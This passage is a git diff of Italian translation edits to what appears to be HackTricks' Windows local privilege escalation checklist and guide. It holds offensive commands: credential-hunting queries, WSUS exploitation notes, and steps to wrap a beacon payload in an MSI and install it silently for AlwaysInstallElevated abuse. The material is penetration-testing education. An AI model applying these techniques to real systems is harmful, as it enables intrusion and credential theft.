Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] Puoi **write in any folder inside PATH**? -- [ ] Esiste qualche servizio che prova a caricare una DLL non esistente? -- [ ] Puoi **write** in qualche **binaries folder**? +- [ ] Puoi **scrivere in qualche cartella dentro PATH**? +- [ ] Esiste qualche servizio noto che **prova a caricare una DLL non-esistente**? +- [ ] Puoi **scrivere** in qualche **cartella di binaries**? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Enumerare la rete (condivisioni, interfacce, route, neighbours, ...) -- [ ] Prestare particolare attenzione ai servizi di rete che ascoltano solo su localhost (127.0.0.1) +- [ ] Enumera la rete (shares, interfaces, routes, neighbours, ...) +- [ ] Dai particolare attenzione ai servizi di rete che ascoltano su localhost (127.0.0.1) ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] Credenziali [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) -- [ ] Credenziali [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) che puoi usare? -- [ ] Informazioni interessanti in [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credenziali che potresti usare? +- [ ] Interessanti [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? - [ ] Password delle reti [**Wifi**](windows-local-privilege-escalation/index.html#wifi) salvate? -- [ ] Informazioni interessanti in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Informazioni interessanti nelle [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? - [ ] Password in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? -- [ ] Password del [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords? - [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenziali? - [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) - [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? - [ ] Password in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? - [ ] Qualche backup di [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? @@ -97,10 +97,10 @@ - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? - [ ] Password in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? - [ ] Informazioni interessanti nei [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Vuoi [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente? +- [ ] Vuoi [**chiedere credenziali**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente? - [ ] File interessanti dentro il [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Altri [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] Dentro i [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (db, cronologia, segnalibri, ...)? +- [ ] Altri [**registry contenenti credenziali**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Dentro i [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? - [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in file e registry - [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) per cercare automaticamente password @@ -110,6 +110,6 @@ ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Verificare se puoi abusarne +- [ ] Verifica se puoi abusarne {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 136cd8c5b..8cb705918 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Miglior strumento per cercare vettori di Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Miglior strumento per cercare Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Teoria iniziale di Windows +## Initial Windows Theory ### Access Tokens -**Se non sai cosa sono Windows Access Tokens, leggi la seguente pagina prima di continuare:** +**Se non sai cosa sono i Windows Access Tokens, leggi la seguente pagina prima di continuare:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Controlla la pagina seguente per più informazioni su ACLs - DACLs/SACLs/ACEs:** +**Consulta la pagina seguente per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -33,18 +33,18 @@ acls-dacls-sacls-aces.md integrity-levels.md {{#endref}} -## Controlli di sicurezza di Windows +## Windows Security Controls -Ci sono diverse cose in Windows che potrebbero **impedirti di enumerare il sistema**, eseguire eseguibili o persino **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** ed **enumerare** tutti questi **meccanismi** **di difesa** prima di iniziare l'enumerazione per la privilege escalation: +Ci sono diverse cose in Windows che potrebbero **impedire di enumerare il sistema**, eseguire eseguibili o anche **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** e **enumerare** tutti questi **meccanismi di difesa** **prima di iniziare la privilege escalation enumeration**: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Informazioni di sistema +## System Info -### Enumerazione delle informazioni sulla versione +### Version info enumeration Verifica se la versione di Windows ha vulnerabilità note (controlla anche le patch applicate). ```bash @@ -61,29 +61,29 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits -Questo [site](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la **massiccia superficie d'attacco** che presenta un ambiente Windows. +This [site](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la **massive attack surface** che un ambiente Windows presenta. -**Sul sistema** +**On the system** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ha watson incorporato)_ -**Localmente con informazioni di sistema** +**Locally with system information** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Repo GitHub di exploits:** +**Github repos of exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Ambiente +### Environment -Ci sono credenziali/informazioni Juicy salvate nelle variabili d'ambiente? +Ci sono credenziali/Juicy info salvate nelle variabili d'ambiente? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### File di trascrizione di PowerShell +### PowerShell Transcript files -Puoi imparare come attivarlo su [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Puoi imparare come abilitarlo in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -I dettagli delle esecuzioni della pipeline di PowerShell vengono registrati, includendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell'esecuzione e i risultati dell'output potrebbero non essere catturati. +I dettagli delle esecuzioni della pipeline di PowerShell vengono registrati, comprendendo i comandi eseguiti, le invocazioni dei comandi e parti di script. Tuttavia, i dettagli completi dell'esecuzione e i risultati dell'output potrebbero non essere catturati. Per abilitarlo, segui le istruzioni nella sezione "Transcript files" della documentazione, scegliendo **"Module Logging"** invece di **"Powershell Transcription"**. ```bash @@ -125,20 +125,20 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire: +Per visualizzare gli ultimi 15 eventi nei log di Powershell puoi eseguire: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Viene catturato un record completo delle attività e del contenuto dell'esecuzione dello script, garantendo che ogni blocco di codice sia documentato durante l'esecuzione. Questo processo conserva una traccia di audit esaustiva di ogni attività, utile per le analisi forensi e per l'esame di comportamenti malevoli. Documentando tutte le attività al momento dell'esecuzione, vengono fornite informazioni dettagliate sul processo. +Viene acquisito un record completo delle attività e del contenuto dell'esecuzione dello script, assicurando che ogni blocco di codice sia documentato durante l'esecuzione. Questo processo preserva una traccia di controllo completa di ogni attività, preziosa per l'analisi forense e per l'analisi di comportamenti malevoli. Documentando tutte le attività al momento dell'esecuzione, si ottengono approfondimenti dettagliati sul processo. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Gli eventi di logging per lo Script Block possono essere trovati in Windows Event Viewer al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Gli eventi di log relativi al Script Block si trovano nel Visualizzatore eventi di Windows al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\\ Per visualizzare gli ultimi 20 eventi puoi usare: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Puoi compromettere il sistema se gli aggiornamenti non sono richiesti usando http**S** ma http. +È possibile compromettere il sistema se gli aggiornamenti non vengono richiesti usando http**S** ma http. -Inizi verificando se la rete utilizza un aggiornamento WSUS non-SSL eseguendo quanto segue in cmd: +Inizi verificando se la rete usa un aggiornamento WSUS non-SSL eseguendo il seguente comando in cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -180,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` o `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` è uguale a `1`. +E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` o `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` è impostato su `1`. -Allora, **è sfruttabile.** Se l'ultimo valore di registro è uguale a 0, la voce WSUS verrà ignorata. +Allora, **è sfruttabile.** Se l'ultima chiave di registro è impostata su 0, la voce WSUS verrà ignorata. -Per sfruttare questa vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) - sono script exploit MiTM "weaponizzati" per iniettare 'fake' updates nel traffico WSUS non-SSL. +Per sfruttare questa vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Questi sono script exploit MiTM weaponizzati per iniettare aggiornamenti 'falsi' nel traffico WSUS non-SSL. -Leggi la ricerca qui: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -195,18 +195,17 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Fondamentalmente, questa è la falla che sfrutta questo bug: +Fondamentalmente, questo è il difetto che sfrutta questo bug: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> Se abbiamo il potere di modificare il proxy dell'utente locale, e Windows Updates usa il proxy configurato nelle impostazioni di Internet Explorer, allora abbiamo la possibilità di eseguire localmente [PyWSUS](https://github.com/GoSecure/pywsus) per intercettare il nostro traffico e eseguire codice come utente elevato sul nostro asset. > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> Inoltre, poiché il servizio WSUS utilizza le impostazioni dell'utente corrente, utilizzerà anche il suo certificate store. Se generiamo un certificato self-signed per l'hostname WSUS e aggiungiamo questo certificato nel certificate store dell'utente corrente, saremo in grado di intercettare sia il traffico HTTP che HTTPS di WSUS. WSUS non utilizza meccanismi simili a HSTS per implementare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è trusted dall'utente e ha l'hostname corretto, verrà accettato dal servizio. -Puoi sfruttare questa vulnerabilità usando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta reso disponibile). +Puoi sfruttare questa vulnerabilità usando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta rilasciato). -## Auto-updater di terze parti e IPC degli agent (local privesc) - -Molti agent enterprise espongono una superficie IPC su localhost e un canale di update privilegiato. Se l'enrollment può essere forzato verso un server controllato dall'attaccante e l'updater si fida di una rogue root CA o di controlli di firma deboli, un utente locale può fornire un MSI malevolo che il servizio SYSTEM installerà. Vedi una tecnica generalizzata (basata sulla catena Netskope stAgentSvc – CVE-2025-0309) qui: +## Third-Party Auto-Updaters and Agent IPC (local privesc) +Molti agent enterprise espongono una superficie IPC su localhost e un canale di aggiornamento privilegiato. Se l'enrollment può essere forzato verso un server controllato dall'attaccante e l'updater si fida di una rogue root CA o di controlli del signer deboli, un utente locale può consegnare un MSI malevolo che il servizio SYSTEM installerà. Vedi una tecnica generalizzata (basata sulla catena Netskope stAgentSvc – CVE-2025-0309) qui: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -214,15 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Una vulnerabilità di **local privilege escalation** esiste in ambienti **domain** Windows sotto specifiche condizioni. Queste condizioni includono ambienti in cui **LDAP signing is not enforced**, utenti che hanno diritti di self-rights che permettono di configurare la **Resource-Based Constrained Delegation (RBCD)**, e la possibilità per gli utenti di creare computer all'interno del dominio. È importante notare che questi **requisiti** sono soddisfatti usando le **impostazioni predefinite**. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. Queste condizioni includono ambienti dove **LDAP signing is not enforced**, utenti che possiedono diritti per configurare **Resource-Based Constrained Delegation (RBCD)**, e la capacità per gli utenti di creare computer all'interno del dominio. È importante notare che questi **requirements** sono soddisfatti usando le **default settings**. -Trovi l'**exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Per maggiori informazioni sul flusso dell'attacco vedi [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +Per maggiori informazioni sul flow dell'attacco consulta [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Se** questi 2 valori di registro sono **abilitati** (il valore è **0x1**), allora utenti di qualsiasi livello di privilegi possono **installare** (eseguire) file `*.msi` come NT AUTHORITY\\**SYSTEM**. +**Se** queste 2 chiavi di registro sono **abilitate** (valore **0x1**), allora utenti di qualsiasi privilegio possono **installare** (eseguire) `*.msi` come NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -236,15 +235,16 @@ Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modu ### PowerUP -Usa il comando `Write-UserAddMSI` di power-up per creare nella directory corrente un binario MSI di Windows per elevare i privilegi. Questo script scrive un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU): +Usa il comando `Write-UserAddMSI` di power-up per creare nella directory corrente un file MSI di Windows per eseguire l'escalation dei privilegi. Questo script scrive un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GUI): ``` Write-UserAddMSI ``` -Basta eseguire il binario creato per elevare i privilegi. +Esegui semplicemente il binario creato per elevare i privilegi. ### MSI Wrapper -Leggi questo tutorial per imparare come creare un MSI wrapper usando questi strumenti. Nota che puoi incapsulare un file "**.bat**" se **vuoi solo** **eseguire** **righe di comando** +Leggi questo tutorial per imparare a creare un MSI wrapper usando questi strumenti. Nota che puoi racchiudere un file "**.bat**" se vuoi **solo** **eseguire** **comandi** + {{#ref}} msi-wrapper.md @@ -252,24 +252,25 @@ msi-wrapper.md ### Creare un MSI con WIX + {{#ref}} create-msi-with-wix.md {{#endref}} ### Creare un MSI con Visual Studio -- **Genera** con Cobalt Strike o Metasploit un **nuovo payload Windows EXE TCP** in `C:\privesc\beacon.exe` +- **Genera** con Cobalt Strike o Metasploit un **nuovo Windows EXE TCP payload** in `C:\privesc\beacon.exe` - Apri **Visual Studio**, seleziona **Create a new project** e digita "installer" nella casella di ricerca. Seleziona il progetto **Setup Wizard** e clicca **Next**. -- Dai al progetto un nome, come **AlwaysPrivesc**, usa **`C:\privesc`** come percorso, seleziona **place solution and project in the same directory**, e clicca **Create**. -- Continua a cliccare **Next** finché non arrivi al passo 3 di 4 (choose files to include). Clicca **Add** e seleziona il payload Beacon appena generato. Poi clicca **Finish**. -- Seleziona il progetto **AlwaysPrivesc** in **Solution Explorer** e nelle **Properties**, cambia **TargetPlatform** da **x86** a **x64**. -- Ci sono altre proprietà che puoi modificare, come **Author** e **Manufacturer**, che possono rendere l'app installata più legittima. +- Assegna al progetto un nome, come **AlwaysPrivesc**, usa **`C:\privesc`** per la posizione, seleziona **place solution and project in the same directory**, e clicca **Create**. +- Continua a cliccare **Next** fino ad arrivare al passo 3 di 4 (choose files to include). Clicca **Add** e seleziona il payload Beacon che hai appena generato. Poi clicca **Finish**. +- Seleziona il progetto **AlwaysPrivesc** nel **Solution Explorer** e nelle **Properties**, cambia **TargetPlatform** da **x86** a **x64**. +- Ci sono altre proprietà che puoi modificare, come **Author** e **Manufacturer**, che possono far sembrare l'app installata più legittima. - Clicca col tasto destro sul progetto e seleziona **View > Custom Actions**. -- Clicca col tasto destro su **Install** e seleziona **Add Custom Action**. -- Fai doppio clic su **Application Folder**, seleziona il file **beacon.exe** e clicca **OK**. Questo garantirà che il payload beacon venga eseguito non appena l'installer viene avviato. +- Clicca col destro su **Install** e seleziona **Add Custom Action**. +- Doppio clic su **Application Folder**, seleziona il file **beacon.exe** e clicca **OK**. Questo assicurerà che il payload beacon venga eseguito non appena l'installer viene lanciato. - Sotto le **Custom Action Properties**, imposta **Run64Bit** su **True**. -- Infine, **compila**. -- Se viene mostrato l'avviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, assicurati di impostare la piattaforma su x64. +- Infine, **buildalo**. +- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. ### Installazione MSI @@ -277,25 +278,25 @@ Per eseguire l'**installazione** del file `.msi` malevolo in **background:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Per sfruttare questa vulnerabilità puoi usare: _exploit/windows/local/always_install_elevated_ +Per sfruttare questa vulnerabilità puoi utilizzare: _exploit/windows/local/always_install_elevated_ -## Antivirus e rilevatori +## Antivirus e Rilevatori -### Impostazioni di audit +### Impostazioni di Audit -Queste impostazioni decidono cosa viene **registrato**, quindi dovresti prestare attenzione +Queste impostazioni determinano ciò che viene **registrato**, quindi dovresti prestare attenzione ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, è interessante sapere dove vengono inviati i logs +Windows Event Forwarding, è interessante sapere dove vengono inviati i log ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** è progettato per la **gestione delle local admin passwords**, garantendo che ogni password sia **unica, randomizzata e aggiornata regolarmente** sui computer membri di un dominio. Queste password sono conservate in modo sicuro in Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse autorizzazioni sufficienti tramite ACLs, permettendo loro di visualizzare local admin passwords se autorizzati. +LAPS è progettato per la gestione delle password dell'Administrator locale, garantendo che ogni password sia unica, randomizzata e aggiornata regolarmente sui computer appartenenti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessibili solo dagli utenti a cui sono stati concessi permessi sufficienti tramite ACLs, consentendo loro di visualizzare local admin passwords se autorizzati. {{#ref}} @@ -304,36 +305,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Se attivo, **le plain-text passwords sono memorizzate in LSASS** (Local Security Authority Subsystem Service).\ -[**Maggiori informazioni su WDigest in questa pagina**](../stealing-credentials/credentials-protections.md#wdigest). +Se attivo, **plain-text passwords vengono memorizzate in LSASS** (Local Security Authority Subsystem Service).\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -A partire da **Windows 8.1**, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per **bloccare** i tentativi da parte di processi non attendibili di **leggere la sua memoria** o iniettare codice, aumentando la sicurezza del sistema.\ +A partire da **Windows 8.1**, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per **bloccare** i tentativi da parte di processi non affidabili di **leggere la sua memoria** o iniettare codice, rendendo il sistema più sicuro.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è salvaguardare le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo da minacce come gli attacchi pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Credenziali in cache +### Cached Credentials -**Credenziali di dominio** sono autenticate dalla **Local Security Authority** (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di accesso di un utente vengono autenticati da un security package registrato, vengono tipicamente stabilite le credenziali di dominio per l'utente.\ -[**Maggiori informazioni sulle credenziali in cache qui**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** vengono autenticati dalla **Local Security Authority** (LSA) e utilizzati dai componenti del sistema operativo. Quando i dati di logon di un utente vengono autenticati da un security package registrato, le domain credentials dell'utente vengono tipicamente stabilite.\ +[**Maggiori informazioni su Cached Credentials**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Utenti & Gruppi -### Enumerare Utenti & Gruppi +### Enumerare utenti & gruppi -Dovresti verificare se uno dei gruppi a cui appartieni ha permessi interessanti. +Dovresti verificare se alcuni dei gruppi di cui fai parte hanno permessi interessanti ```bash # CMD net users %username% #Me @@ -350,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Gruppi privilegiati -Se **appartieni a un gruppo privilegiato potresti essere in grado di elevare i privilegi**. Scopri i gruppi privilegiati e come abusarne per elevare i privilegi qui: +Se **appartieni a qualche gruppo privilegiato potresti essere in grado di escalate privileges**. Scopri i gruppi privilegiati e come abusarne per escalate privileges qui: {{#ref}} @@ -359,8 +360,8 @@ Se **appartieni a un gruppo privilegiato potresti essere in grado di elevare i p ### Manipolazione dei token -**Scopri di più** su cos'è un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Consulta la pagina seguente per **scoprire i token interessanti** e come abusarne: +**Scopri di più** su cosa sia un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Consulta la pagina seguente per **scoprire token interessanti** e come abusarne: {{#ref}} @@ -377,7 +378,7 @@ klist sessions dir C:\Users Get-ChildItem C:\Users ``` -### Password Policy +### Politica delle password ```bash net accounts ``` @@ -389,8 +390,8 @@ powershell -command "Get-Clipboard" ### Permessi di file e cartelle -Prima di tutto, elencando i processi **controlla la presenza di password nella command line del processo**.\ -Verifica se puoi **sovrascrivere qualche binary in esecuzione** o se hai permessi di scrittura nella cartella dei binary per sfruttare possibili [**DLL Hijacking attacks**](dll-hijacking/index.html): +Prima di tutto, elencando i processi **check for passwords inside the command line of the process**.\ +Controlla se puoi **overwrite some binary running** o se hai write permissions of the binary folder per sfruttare possibili [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -401,9 +402,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Controlla sempre la presenza di eventuali [**electron/cef/chromium debuggers** in esecuzione, che potresti sfruttare per elevare i privilegi](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Controlla sempre la possibile presenza di [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalare i privilegi](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Verifica dei permessi dei binari dei processi** +**Controllo dei permessi dei binari dei processi** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -412,7 +413,7 @@ icacls "%%z" ) ) ``` -**Controllo dei permessi delle cartelle dei binari dei processi (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Verifica dei permessi delle cartelle dei binari dei processi (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -422,19 +423,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Puoi creare un memory dump di un processo in esecuzione usando **procdump** di sysinternals. Servizi come FTP hanno le **credentials in clear text in memory**; prova a creare il dump della memory e leggere le credentials. +Puoi creare un dump della memoria 